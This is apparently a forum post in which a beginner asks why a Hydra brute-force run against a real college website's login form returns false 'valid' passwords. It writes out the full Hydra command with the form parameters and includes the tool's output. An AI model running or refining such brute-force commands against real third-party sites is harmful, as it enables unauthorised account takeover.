Problem with Bruteforce Using Hydra

Hi all,

I started to learn using hydra recently and tried to brute force some web base login form which i already have access to,but after running the required command of hydra which is as follows..

hydra -l myusernae -P passwords www.bvrit.edu.in http-get-form "/default.aspx:txtId2=^USER^&txtPwd2=^PASS^:Invalid password !"

But hydra is returning all the first 15-16 passwords in the list as vaid passwords what i get after exicuting the above is

Hydra (http://www.thc.org/thc-hydra) starting at 2015-11-07 17:53:46

DATA max 16 tasks per 1 server, overall 64 tasks, 497 login tries (l:1/p:497), ~0 tries per task

DATA attacking service http-get-form on port 80

80http-get-form host: www.bvrit.edu.in login: myUsername password: prince

80http-get-form host: www.bvrit.edu.in login: myUsername password: beach

80http-get-form host: www.bvrit.edu.in login: myUsername password: porsche

80http-get-form host: www.bvrit.edu.in login: myUsername password: amateur

80http-get-form host: www.bvrit.edu.in login: myUsername password: united

80http-get-form host: www.bvrit.edu.in login: myUsername password: chelsea

80http-get-form host: www.bvrit.edu.in login: myUsername password: 12345678

80http-get-form host: www.bvrit.edu.in login: myUsername password: 7777777

80http-get-form host: www.bvrit.edu.in login: myUsername password: cool

80http-get-form host: www.bvrit.edu.in login: myUsername password: guitar

80http-get-form host: www.bvrit.edu.in login: myUsername password: great

80http-get-form host: www.bvrit.edu.in login: myUsername password: jaguar

80http-get-form host: www.bvrit.edu.in login: myUsername password: rosebud

80http-get-form host: www.bvrit.edu.in login: myUsername password: password

80http-get-form host: www.bvrit.edu.in login: myUsername password: butter

80http-get-form host: www.bvrit.edu.in login: myUsername password: firebird

1 of 1 target successfully completed, 16 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2015-11-07 17:53:51__

whts is wrong with the code what are the modification should be made like using cookies etc any brief suggestion or explanation please...